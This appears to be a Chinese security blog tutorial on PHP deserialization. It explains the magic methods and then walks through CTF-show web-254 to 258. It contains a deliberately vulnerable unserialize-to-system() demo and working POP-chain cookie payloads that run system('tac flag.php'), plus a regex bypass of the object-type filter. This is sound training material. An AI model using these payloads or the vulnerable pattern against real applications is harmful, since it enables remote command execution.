安全 漏洞利用 第60天:漏洞利用-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改 Yatming的博客 2025-09-12 2025-08-18
简单理解序列化
1 2 3 4 5 6 7 序列化相当于一台电脑,将其拆分为机箱,电源,cpu,内存,这样的零件 反序列化,相当于将这些零件重新组装 序列化:对象转换为数组或字符串等格式 反序列化:将数组或字符串等格式转换成对象 serialize() //将对象转换成一个字符串 unserialize() //将字符串还原成一个对象
常见魔术方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __construct(): //当对象 new 的时候会自动调用 __destruct(): 当对象被销毁时会被自动调用 __sleep(): //serialize()执行时被自动调用 __wakeup(): //unserialize()时会被自动调用 __invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用 __toString(): //把类当作字符串使用时触发 __call(): //调用某个方法 若方法存在 则调用 若不存在 则会去调用 __call 函数。 __callStatic(): 在静态上下文中调用不可访问的方法时触发 __get(): //读取对象属性时 若存在 则返回属性值 若不存在,则会调用 __get 函数 __set(): //设置对象的属性时 若属性存在 则赋值 若不存在 则调用 __set 函数。 __isset(): //在不可访问的属性上调用 isset() 或 empty() 触发 __unset(): //在不可访问的属性上使用 unset() 时触发 __set_state(): 调用 var_export() 导出类时,此静态方法会被调用 __clone(): 当对象复制完成时调用 __autoload(): 尝试加载未定义的类 __debugInfo(): 打印所需调试信息
1.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php header ("Content-type: text/html; charset=utf-8" );class user { public $name ='xiaodi' ; public $sex ='man' ; public $age =31 ; } $demo =new user ();$s =serialize ($demo );$u =unserialize ($s );echo $s .'<br>' ;echo '<br/>' ;echo '<br/>' ;var_dump ($u );
2.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 <?php header ("Content-type: text/html; charset=utf-8" );class Test { public $name ; public $age ; public $string ; public function __construct ($name , $age , $string ) { echo "__construct 初始化" ."<br>" ; } function __destruct ( ) { echo "__destruct 类执行完毕" ."<br>" ; } } $test = new Test ("xiaodi" ,31 , 'Test String' );unset ($test );echo '第一种执行完毕' .'<br>' ;echo '----------------------<br>' ;?>
__construct && __destruct 魔术方法 1 2 constuct:构建对象的时候被调用 destruct:明确销毁对象或脚本结束的时候被调用
触发的结果是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php header ("Content-type: text/html; charset=utf-8" );class Test { public $name ; public $age ; public $string ; public function __construct ($name , $age , $string ) { echo "__construct 初始化" ."<br>" ; } function __destruct ( ) { echo "__destruct 类执行完毕" ."<br>" ; } } $test = new Test ("xiaodi" ,31 , 'Test String' );unset ($test );echo '第一种执行完毕' .'<br>' ;echo '----------------------<br>' ;
代码分析:显示创建一个Test的对象,然后传参了三个值,所以这里最开始就会输出:__construct 初始化
,然后执行了unset($test);
这里相当于销毁这个变量,所以就自动触发了:__destruct 类执行完毕
,执行完这个之后就触发最后两个echo
,当我把unset
注释的时候,__destruct 类执行完毕
就会在程序运行完毕之后在进行销毁,所以会是最后一个输出。
所以下面这个自动销毁也是同理:
__sleep魔术方法 1 当使用serialize时被调用,当你不需要保存大对象的所有数据的时候很有用
源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Test { public $name ; public $age ; public $string ; public function __construct ($name , $age , $string ) { echo "__construct 初始化" ."<br>" ; $this ->name = $name ; $this ->age = $age ; $this ->string = $string ; } public function __sleep ( ) { echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>" ; return array ('name' , 'age' ,'string' ); } } $a = new Test ("xiaodi" ,31 , 'good teacher' );echo serialize ($a ); ?>
这里也就是先创建一个对象,所以触发了construct魔术方法,然后下面进行序列化输出,所以就调用sleep方法,最后才是输出序列化的内容。
__wakeup魔术方法 __wakeup:反序列化恢复对象之前调用该方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class Test { public $sex ; public $name ; public $age ; public function __construct ($name , $age , $sex ) { echo "__construct被调用!<br>" ; } public function __wakeup ( ) { echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>" ; } } $person = new Test ('xiaodi' ,31 ,'男' );$a = serialize ($person );unserialize ($a );
如果此时我只让他序列化,不进行反序列化。使他没有反序列化这个过程。
就不会进行输出。
__INVOKE()魔术方法 __INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
1 2 3 4 5 6 7 8 9 10 11 12 class Test { public function __invoke ($param1 , $param2 , $param3 ) { echo "这是一个对象<br>" ; var_dump ($param1 ,$param2 ,$param3 ); } } $a = new Test ();$a ('xiaodi' ,31 ,'男' );
__toString()魔术方法 如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class Test { public $variable = 'good is string' ; public function good ( ) { echo $this ->variable . '<br />' ; } public function __toString ( ) { return '__toString魔术方法被执行!' ; } } $a = new Test ();$a ->good ();echo $a ;
因为这里最后将$a
当做一个字符串进行echo
,所以就会触发__toString
__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class Test { public function good ($number ,$string ) { echo '存在good方法' .'<br>' ; echo $number .'---------' .$string .'<br>' ; } public function __call ($method ,$args ) { echo '不存在' .$method .'方法' .'<br>' ; var_dump ($args ); } } $a = new Test ();$a ->good (1 ,'xiaodisec' );$b = new Test ();$b ->xiaodi (899 ,'no' );
这里还会将不存在的方法的值,用数组的方式进行输出。
__get()魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class Test { public $n =1233234 ; public function __get ($name ) { echo '__get 不存在成员变量' .$name .'<br>' ; } } $a = new Test ();echo $a ->n;echo '<br>' ;echo $a ->xiaodi;
__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 class Test { public $noway =0 ; public function __set ($name ,$value ) { echo '__set 不存在成员变量 ' .$name .'<br>' ; echo '即将设置的值 ' .$value ."<br>" ; $this ->noway=$value ; } public function Get ( ) { echo $this ->noway; } } $a = new Test ();$a ->noway = 123 ;$a ->Get ();echo '<br>' ;$a ->xiaodi = 31 ;$a ->Get ();
__isset()魔术方法 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 class Person { public $sex ; private $name ; private $age ; public function __construct ($name , $age , $sex ) { $this ->name = $name ; $this ->age = $age ; $this ->sex = $sex ; } public function __isset ($content ) { echo "123<br>" ; return isset ($this ->$content ); } } $person = new Person ("xiaodi" , 31 ,'男' );echo ($person ->sex),"<br>" ;echo isset ($person ->name),"<br>" ;echo empty ($person ->sex),"<br>" ;isset ($person ->name),"<br>" ;empty ($person ->age),"<br>" ;
__unset()魔术方法 在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 class Person { public $sex ; private $name ; private $age ; public function __construct ($name , $age , $sex ) { $this ->name = $name ; $this ->age = $age ; $this ->sex = $sex ; } public function __unset ($content ) { echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>" ; } } $person = new Person ("xiaodi" , 31 ,"男" ); unset ($person ->sex);unset ($person ->name);unset ($person ->age);
简易demo反序列化利用 1 2 3 4 5 6 7 8 9 <?php class B { public $cmd ='ipconfig' ; public function __destruct ( ) { system ($this ->cmd); } } unserialize ($_GET ['x' ]);
利用:pop链
1 2 3 4 5 6 7 8 9 10 11 12 <?php class B { public $cmd ='whoami' ; public function __destruct ( ) { system ($this ->cmd); } } $b = new B ();echo serialize ($b );?>
得到序列化的字符串,进行传参:
CTF-show 没钱买,所以用视屏中的截图吧
web-254
1 2 3 4 代码分析:首先是进行username和password的判断有没有输入值,第二个创建一个对象。然后login将会返回isVIP为true,最后就会调用flag。得到flag,所以只需要进行传参就可以得到flag payload: username=xxxxxx&password=xxxxxx
web-255
这里在对cookie的user进行反序列化
如上图,这里checkvip有在user里,所以这里要进行序列化构造pop
1 2 3 4 5 6 7 8 9 <?php class ctfShowUser{ public $isVip=true; } $ a=new ctfShowUser(); echo urlencode(serialize($a)); ?> Get:username=xxxxxx&password=xxxxxx Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
如果要改username和password,需要在序列化的时候进行修改:
总结:需要更改的地方就填写,不改的就可以删除
web-256
username和password不同就行。所以用上面的方式就行:
payload
1 2 3 4 5 6 7 8 9 10 11 12 <?php class ctfShowUser{ public $username='xiaodi'; public $password='xiaodisec'; public $isVip=true; } $ a=new ctfShowUser(); echo urlencode(serialize($a)); ?> GET:username=xiaodi&password=xiaodisec COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xiaodi%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22xiaodisec%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
由于传参是在cookie这里,所以要进行url编码。
web-257
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class ctfShowUser{ public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code='system("tac flag.php");'; } echo urlencode(serialize(new ctfShowUser)); ?> GET:username=xxxxxx&password=xxxxxx COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
web-258
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class ctfShowUser{ public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code="system('tac flag.php');"; } $ a=serialize(new ctfShowUser()); $ b=str_replace(':11' ,':+11' ,$a ); // 题目中正则匹配O:数字,这里在中间加个空格绕过正则匹配 $ c=str_replace(':8' ,':+8' ,$b ); echo urlencode($c); ?> GET:username=xxxxxx&password=xxxxxx COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D